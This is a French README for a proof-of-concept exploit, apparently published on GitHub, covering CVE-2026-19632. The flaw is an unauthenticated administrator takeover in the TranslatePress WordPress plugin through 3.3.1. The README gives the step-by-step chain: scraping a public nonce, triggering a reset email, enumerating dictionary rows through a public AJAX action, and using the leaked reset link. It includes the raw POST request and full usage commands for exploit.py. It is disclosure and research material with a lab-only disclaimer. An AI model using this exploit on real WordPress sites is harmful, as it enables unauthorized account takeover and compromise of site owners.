
Preuve de concept d'exploitation en un jour pour CVE-2026-19632, une prise de contrôle de compte non authentifiée critique dans le plugin WordPress TranslatePress, démontrant la divulgation du lien de réinitialisation de mot de passe et la prise de contrôle de l'administrateur.
CVE: CVE-2026-19632 | CVSS: 9.8 (Critique)
Prise de contrôle de compte non authentifiée via le plugin TranslatePress pour WordPress. Temps entre la publication de la CVE et le PoC fonctionnel Day-One : 5 heures, 9 minutes, 40 secondes
Jusqu'à la version 3.3.1 incluse ; le problème a été corrigé dans la version 3.3.2.
TranslatePress peut traduire les e-mails sortants de WordPress et enregistrer leurs chaînes traduites dans sa base de données.
TranslatePress enregistre également les e-mails de réinitialisation de mot de passe avec le lien de réinitialisation complet, y compris la clé secrète, directement dans la table de traduction.
Un attaquant non authentifié peut ensuite interroger ces lignes via une action AJAX publique de TranslatePress :
Déclencher la réinitialisation du mot de passe
-> l'e-mail de réinitialisation est traduit
-> l'URL de réinitialisation est enregistrée dans le dictionnaire de la langue secondaire
-> le point de terminaison AJAX public renvoie la ligne
-> utiliser l'URL pour définir un nouveau mot de passe administrateur
La chaîne d'exploitation nécessite :
Lorsque WordPress envoie l'e-mail de réinitialisation, TranslatePress bascule vers la langue préférée du destinataire et fait passer l'e-mail par son pipeline de traduction. La version vulnérable enregistre les chaînes rencontrées au cours de ce processus, y compris l'URL de réinitialisation.
TranslatePress enregistre également trp_get_translations_regular pour les visiteurs non authentifiés. Son nonce est exposé sur une page traduite publique, et la requête accepte les identifiants de lignes du dictionnaire choisis par l'attaquant. L'énumération de ces identifiants révèle l'e-mail de réinitialisation stocké et son lien de réinitialisation utilisable.
| Étape | Action |
|---|---|
| 1 | Charger /he/cve-lab-seed/ et extraire le nonce AJAX public de TranslatePress. |
| 2 | Soumettre le formulaire de mot de passe perdu de WordPress pour labadmin. |
| 3 | TranslatePress traite l'e-mail de réinitialisation en utilisant la locale hébraïque de l'administrateur. |
| 4 | Énumérer les lignes du dictionnaire via trp_get_translations_regular. |
| 5 | Extraire l'URL de réinitialisation wp-login.php?action=rp correspondante la plus récente. |
| 6 | Ouvrir l'URL et soumettre un nouveau mot de passe. |
| 7 | Effectuer une nouvelle connexion et exiger à la fois un cookie de connexion WordPress et un accès à /wp-admin/. |
La requête non authentifiée pertinente a cette forme :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
Le nonce et l'identifiant de ligne utile sont dynamiques, donc exploit.py les découvre plutôt que de les coder en dur.
Utilisation minimale :
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
Divulguer l'URL de réinitialisation sans changer le mot de passe :
python .\exploit.py --stop-after leak
Déclencher uniquement l'e-mail de réinitialisation du mot de passe :
python .\exploit.py --stop-after reset
| Paramètre | Défaut | Objectif |
|---|---|---|
--url | http://127.0.0.1:19632 | URL de base de WordPress. |
--username | labadmin | Compte pour lequel la réinitialisation est demandée. |
--language | he_IL | Dictionnaire de la langue secondaire interrogé par le PoC. |
--public-path | /he/cve-lab-seed/ | Page traduite publique utilisée pour obtenir le nonce AJAX. |
--new-password | Aucun | Nouveau mot de passe ; requis lorsque --stop-after takeover est utilisé. |
--start-id | 1 | Premier identifiant de ligne du dictionnaire à demander. |
--max-id | 500 | Dernier identifiant de ligne du dictionnaire à demander. Augmentez-le si aucune URL de réinitialisation n'est trouvée. |
--batch-size | 100 | Identifiants du dictionnaire demandés par appel AJAX. Plage valide : 1-500. |
--timeout | 15 | Délai d'expiration HTTP en secondes. |
--settle-seconds | 1 | Délai après la demande de l'e-mail de réinitialisation. |
--stop-after | takeover | S'arrêter après reset, leak ou la takeover complète. |
Ce projet est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests dans des environnements de laboratoire isolés.
Cette vulnérabilité a été initialement découverte et divulguée par momopon1415.
N'utilisez pas ce logiciel contre des systèmes, réseaux ou données sans autorisation explicite du propriétaire. Vous êtes seul responsable du respect de toutes les lois applicables et de toute conséquence résultant de votre utilisation de ce projet.
L'auteur, YonLiud, fournit ce projet « tel quel », sans garanties d'aucune sorte, et n'accepte aucune responsabilité pour les dommages, pertes de données, interruptions de service, accès non autorisés ou autres utilisations abusives causés par ce logiciel ou ses œuvres dérivées.
En utilisant ce projet, vous reconnaissez et acceptez ces conditions.